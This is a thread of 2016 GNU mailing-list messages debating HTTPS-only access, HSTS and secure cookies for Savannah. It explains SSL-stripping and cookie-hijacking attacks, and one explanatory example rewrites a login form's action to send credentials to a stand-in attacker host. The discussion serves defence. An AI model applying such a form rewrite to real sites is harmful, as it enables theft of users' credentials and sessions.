Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS
On Mon, Oct 10, 2016 at 05:01:05 -0400, Richard Stallman wrote: > I don't understand those words. I can only say that the conclusion, > "Security requres discontinuing support for HTTP," is an extraordinary > claim and requires extraordinary proof. I am extremely skeptical. It depends on what you are trying to mitigate. In the Savannah case, it's important to protect both the user's login data and their session itself. When the user is logged in, it's important to protect against MitM attacks that could be used to hijack their session or trick them into doing things that they might not want to do. More broadly: MitM attacks are always a concern and cannot be mitigated with plain HTTP. If the integrity of the data are important---e.g. the information the user reads and the files that they download---then HTTPS is important. There is nothing preventing employers, networks, ISPs, or states from censoring or modifying content. Comcast was caught injecting JavaScript into users' webpages to notify them of copyright violations.[0] This same method is used by malware to inject ads. Wikipedia implements HTTPS in part to ensure the integrity of their articles.[1] If I'm visiting a site over Tor, a malicious exit node could modify and sniff non-HTTPS pages. There is also the issue of privacy. With HTTPS, an adversary monitoring a network (Eve) would know that Alice is looking at Wikipedia, but not what Alice is looking at. With plain HTTP, Eve knows exactly what articles Alice is reading. This can be potentially life-threatening in some countries where reading certain articles is a crime. For others, it might simply be embarrassing. If I'm concerned about a health condition that I want to look up at work, I don't want my employer knowing I'm looking at it. It's usually not the case that I can't trust the website itself---it's everything _else_ that can go wrong. It's unfortunate that the first thought in my mind the entire time I'm online (Web or otherwise) is mitigating various adversaries, but that's the reality. [0]: https://news.ycombinator.com/item?id=10592775 [1]: https://blog.wikimedia.org/2015/06/12/securing-wikimedia-sites-with-https/ -- Mike Gerwitz Free Software Hacker+Activist | GNU Maintainer & Volunteer GPG: 2217 5B02 E626 BC98 D7C0 C2E5 F22B B815 8EE3 0EAB https://mikegerwitz.com signature.asc Description: PGP signature
Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS
On Mon, Oct 10, 2016 at 05:00:52 -0400, Richard Stallman wrote: > > Richard: unless there's a compelling reason not to, I think the > > sysadmins or Savannah hackers (whomever has the ablity) should just add > > a webserver rule to redirect all requests on port 80 to 443. > > Would this, by itself, fix the immediate problem? Not completely, for the reason below. > > For > > example, if the login form was loaded over HTTPS, but accidentally posts > > to an HTTP link, > > Please spell out that scenario more clearly; I do not follow you. Let's assume that the Savannah webserver is configured to redirect all HTTP requests to HTTPS, as suggested above. A hypothetical situation (this isn't the case today): 0. Alice visits https://savannah.gnu.org/account/login.php. 1. Alice is presented with a login form. This connection is secure. 2. Since Alice is already using HTTPS, the login form would normally post its data over HTTPS. But due to a (hypothetical) configuration issue or bug on Savannah, the form is instead instructed to post to http://savannah.gnu.org, without HTTPS. 3. The request is made plaintext over HTTP, containing Alice's username and password. Eve, an eavesdropper, observes the data. 4. The Savannah webserver receives the request, sees that it's HTTP, and instructs the browser to redirect to HTTPS. 5. The web browser re-submits the request to https://savannah.gnu.org, and Alice is none the wiser. The login succeeds as expected. Alice observed a secure connection the entire time, but Eve was still able to harvest her password.[*] Let's pretend that the above wasn't possible, and Eve doesn't have Alice's username and password. She's not out of luck yet. Savannah knows that Alice is logged in because of a session cookie stored in the browser. This cookie is sent to Savannah encrypted, because Alice is using HTTPS. If there is a single link on Savannah misconfigured to point to the HTTP website, that cookie will be sent in plain text. If Alice returns to Savannah at a later time---still logged in---by typing `savannah.gnu.org' in her browser, her request will first be served over HTTP. The cookie will be sent in plain text to the server before she is redirected. Eve can take that cookie and send it to the server herself---she will have assumed the identity of Alice. If I'm Alice, then Eve is now a superuser, and can do with Savannah as she pleases. Fortunately, I mitigate that with the HTTPS Everywhere addon. There are other concerns, but this is what HTTP Strict Transport Security (HSTS) aims to prevent---it tells the web browser, via an HTTP header, that it should _never_ request a page over HTTP, even if explicitly instructed to by the webpage.[0] Eve will have to find another way. The solution to the problem is: - Redirect all requests to HTTPS; _and_ - Use the HSTS header. Further (this is more technical; you needn't read it): The cookie hijack attack is possible because the cookies on Savannah are not served with a flag that tells the browser to _never_ serve the cookie over HTTP. - HSTS will mitigate the issue in newer browsers, but the HTTPS-only cookie flag should also be set. - The option on the login page to "stay in secure (https) mode after login" should be removed---of course you'd want that. [0]: https://en.wikipedia.org/wiki/HSTS [*]: As a real-world example: I was logging into nature.com at work, which uses HTTP. One of my coworkers---who handles the systems that monitor logs for threats---notified me that my password was plaintext in the logs. Fortunately, he is a good guy. And fortunately, my Nature account wasn't sensitive, and used a password unique to that website; if my password were shared, accounts on other websites would effectively be compromised. -- Mike Gerwitz Free Software Hacker+Activist | GNU Maintainer & Volunteer GPG: 2217 5B02 E626 BC98 D7C0 C2E5 F22B B815 8EE3 0EAB https://mikegerwitz.com signature.asc Description: PGP signature
Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS
On Fri, 2016-10-07 at 22:16 -0400, Mike Gerwitz wrote: > On Mon, Sep 19, 2016 at 12:30:03 +0200, Hanno Böck wrote: > > *The code repositories* > > > > Now all of the above can be aleviated a bit if a user carefully uses > > https all the time manually or uses a plugin like https everywhere. But > > even more worrying is that there is no way to access the savannah git > > repositories in a secure way for anonymous users. > > > > If you look at a repository site like this: > > http://savannah.gnu.org/git/?group=patch > > > > There are two ways to clone the repo: Over the git:// protocol, which > > is plaintext and insecure, and over ssh, which is only available if you > > have a savannah account and are a member of that project. Therefore for > > all people that are not part of a project there is no secure way of > > getting the git code. Most replies seem to be concentrating on the Savannah web page, but personally I think this lack of any ability to retrieve source via a secure channel, even one wanted to, is a much bigger issue. Maybe we can concentrate on what it would take to solve this problem immediately, and leave the less clear-cut issues for later?
Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS
On Mon, Oct 10, 2016 at 11:12:00AM +, Michal Grochmal wrote: > As far as I am aware, that is the philosophy of the FSF: always give the > user the choice, do not limit the user in anyway. Even more if we are > limiting the user because of security reasons. > > Although I would in several occasions perform the HTTP->HTTPS redirect > because it is a consensus of the information security community and > because I want to protect unknowing users, I'm completely against this > being implemented by the FSF. This is because it goes against the FSF > philosophy of empowering the user. If permanent redirects are not okay in your opinion, do you have an opinion on Upgrade-Insecure-Requests? It relies on the user explicitly requesting to use "secure" requests only (HTTPS), but some browsers (e.g. Chromium) do this by default. See my previous message on this list for further explanation. [1] [1]: https://lists.gnu.org/archive/html/repo-criteria-discuss/2016-10/msg5.html
Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS
I'm just a random person that follows savannah-hackers-gnu but I'd like to add the nature of the SSLstrip attack to this discussion. Since I did perform the attack myself a handful of times (no, I did not do anything bad, I'm a security researcher). There is one important point about SSLstrip that is missing, see below. >>> It says to support HTTPS properly and *securely*. The current >>> variant is not secure, it is vulnerable to SSL Stripping attacks. >>> That's why HSTS was invented in the first place. >> >> I don't know what you are talking about. > > Ok, I'll try to explain in more detail: > * A Savannah user surfs to the savannah webpage, e.g. through a link, > the page is delivered over HTTP. > * He clicks on Login. Still HTTP. > * The login page contains a form with this: > action="https://savannah.gnu.org/account/login.php"; > * However as that login page itself was not protected a network-level > attacker can just change that to something like: > action="http://evilhackersdomain.com/getsavannahcredentials.cgi"; > * From there the attacker will grab the login data and just forward the > user back to the real savannah login. That is completely true, but a careful user will *not* attempt login through a page served over HTTP. HTTPS will give the user privacy and integrity but it is the user's choice to have them or not. As far as I am aware, that is the philosophy of the FSF: always give the user the choice, do not limit the user in anyway. Even more if we are limiting the user because of security reasons. Although I would in several occasions perform the HTTP->HTTPS redirect because it is a consensus of the information security community and because I want to protect unknowing users, I'm completely against this being implemented by the FSF. This is because it goes against the FSF philosophy of empowering the user. > The attacker has the login credentials and the user noted nothing. This > scenario and similar ones is called an SSL Stripping attack, I think > the term was coined by Moxie Marlinspike in a talk in 2009: > https://moxie.org/software/sslstrip/ SSLstrip is an attack on the user not on the protocol. The user tries to load a page through HTTPS but the gateway (attacker's machine) performs the HTTPS connection and serves the page to the user in plain HTTP. The user's browser do not show the page as HTTPS in the address bar. If the user notices the fact that the page was served as HTTP the attack fails. > > I don't understand those words. I can only say that the conclusion, > > "Security requres discontinuing support for HTTP," is an extraordinary > > claim and requires extraordinary proof. I am extremely skeptical. > > You may find that an extraordinary claim, but it's widely consensus > among people caring about web security. There's a reason many want an > HTTPS-only web. Final thoughts: I'm definitely against an HTTP->HTTPS redirect for the reasons above. But I do not see such issues in adding the HSTS headers to HTTPS communications from savannah. A user can always delete their browser cache (and the HSTS configuration within), or even disable HSTS in the browser (a browser that respects a user's choices should allow the user to disable HSTS). -- Mike Grochmal key ID 0xC840C4F6 pgpodErwlrVOF.pgp Description: PGP signature
Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS
On Mon, 10 Oct 2016 05:01:05 -0400 Richard Stallman wrote: > > It says to support HTTPS properly and *securely*. The current > > variant is not secure, it is vulnerable to SSL Stripping attacks. > > That's why HSTS was invented in the first place. > > I don't know what you are talking about. Ok, I'll try to explain in more detail: * A Savannah user surfs to the savannah webpage, e.g. through a link, the page is delivered over HTTP. * He clicks on Login. Still HTTP. * The login page contains a form with this: action="https://savannah.gnu.org/account/login.php"; * However as that login page itself was not protected a network-level attacker can just change that to something like: action="http://evilhackersdomain.com/getsavannahcredentials.cgi"; * From there the attacker will grab the login data and just forward the user back to the real savannah login. The attacker has the login credentials and the user noted nothing. This scenario and similar ones is called an SSL Stripping attack, I think the term was coined by Moxie Marlinspike in a talk in 2009: https://moxie.org/software/sslstrip/ The important thing to understand here is that HTTPS is about privacy *and* integrity of the transmitted data. The latter part often gets forgotten. When you transmit data over HTTP this not only means an attacker can read it, it also means an attacker can change it. Now consider the alternative scenario, where everything is HTTPS and HTTP requests always get forwarded: * User goes to Savannah, e.g. through a link. If the link is old and still HTTP there is still a possibility for an attack here, but only right at the beginning. In an ideal case over time all links, bookmarks and search engines will learn over time that the page is HTTPS only. * To avoid the attack at the beginning one can use HSTS, a standardized header which tells the browser that the page is HTTPS only and no requests ever should go over HTTP. Then the attack surface is reduced to the very first contact between the user and the page. * If one wants to reduce the attack surface even more you can also add the page as a preloaded HSTS page to the browser itself. Chromium and Firefox share a list of HSTS-preloaded pages (some other proprietary browsers also use that list): https://hstspreload.appspot.com/ > I don't understand those words. I can only say that the conclusion, > "Security requres discontinuing support for HTTP," is an extraordinary > claim and requires extraordinary proof. I am extremely skeptical. You may find that an extraordinary claim, but it's widely consensus among people caring about web security. There's a reason many want an HTTPS-only web. I explained the SSL Stripping scenario above. Another issue that makes almost all hybrid HTTP/HTTPS solutions insecure are Cookies. If you have a design like the current savannah where it's possible that the user gets redirected back to HTTP after login the cookie can be stolen and an attacker can take over the session. This can be avoided by carefully making sure that all cookies get the secure flag. But it's much easier to just avoid it by using HSTS, which prevents cookies from ever being sent over HTTP. -- Hanno Böck https://hboeck.de/ mail/jabber: ha...@hboeck.de GPG: FE73757FA60E4E21B937579FA5880072BBB51E42 pgptKI26zsHEs.pgp Description: OpenPGP digital signature
Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS
[[[ To any NSA and FBI agents reading my email: please consider]]] [[[ whether defending the US Constitution against all enemies, ]]] [[[ foreign or domestic, requires you to follow Snowden's example. ]]] > In the case of Savannah, if the user loads the page over HTTPS, they > will be served the login form over HTTPS. That's good, but a redirect > should still otherwise happen. I don't understand what you mean here. Would you please state your proposal concretely in a self-contained way? However, that should be a separate discussion. The question at hand is to make Savannah _fully support HTTPS_, nothing more. > Richard: unless there's a compelling reason not to, I think the > sysadmins or Savannah hackers (whomever has the ablity) should just add > a webserver rule to redirect all requests on port 80 to 443. Would this, by itself, fix the immediate problem? > For > example, if the login form was loaded over HTTPS, but accidentally posts > to an HTTP link, Please spell out that scenario more clearly; I do not follow you. -- Dr Richard Stallman President, Free Software Foundation (gnu.org, fsf.org) Internet Hall-of-Famer (internethalloffame.org) Skype: No way! See stallman.org/skype.html.
Re: [Savannah-hackers-public] [Repo-criteria-discuss] Savannah and HTTPS
[[[ To any NSA and FBI agents reading my email: please consider]]] [[[ whether defending the US Constitution against all enemies, ]]] [[[ foreign or domestic, requires you to follow Snowden's example. ]]] > It says to support HTTPS properly and *securely*. The current variant > is not secure, it is vulnerable to SSL Stripping attacks. That's why > HSTS was invented in the first place. I don't know what you are talking about. > Leaving the HTTP default open means people's access credentials can be > stolen by an active attacker - even if they think they're using https > because of the misleading option at the login screen. I don't understand those words. I can only say that the conclusion, "Security requres discontinuing support for HTTP," is an extraordinary claim and requires extraordinary proof. I am extremely skeptical. -- Dr Richard Stallman President, Free Software Foundation (gnu.org, fsf.org) Internet Hall-of-Famer (internethalloffame.org) Skype: No way! See stallman.org/skype.html.
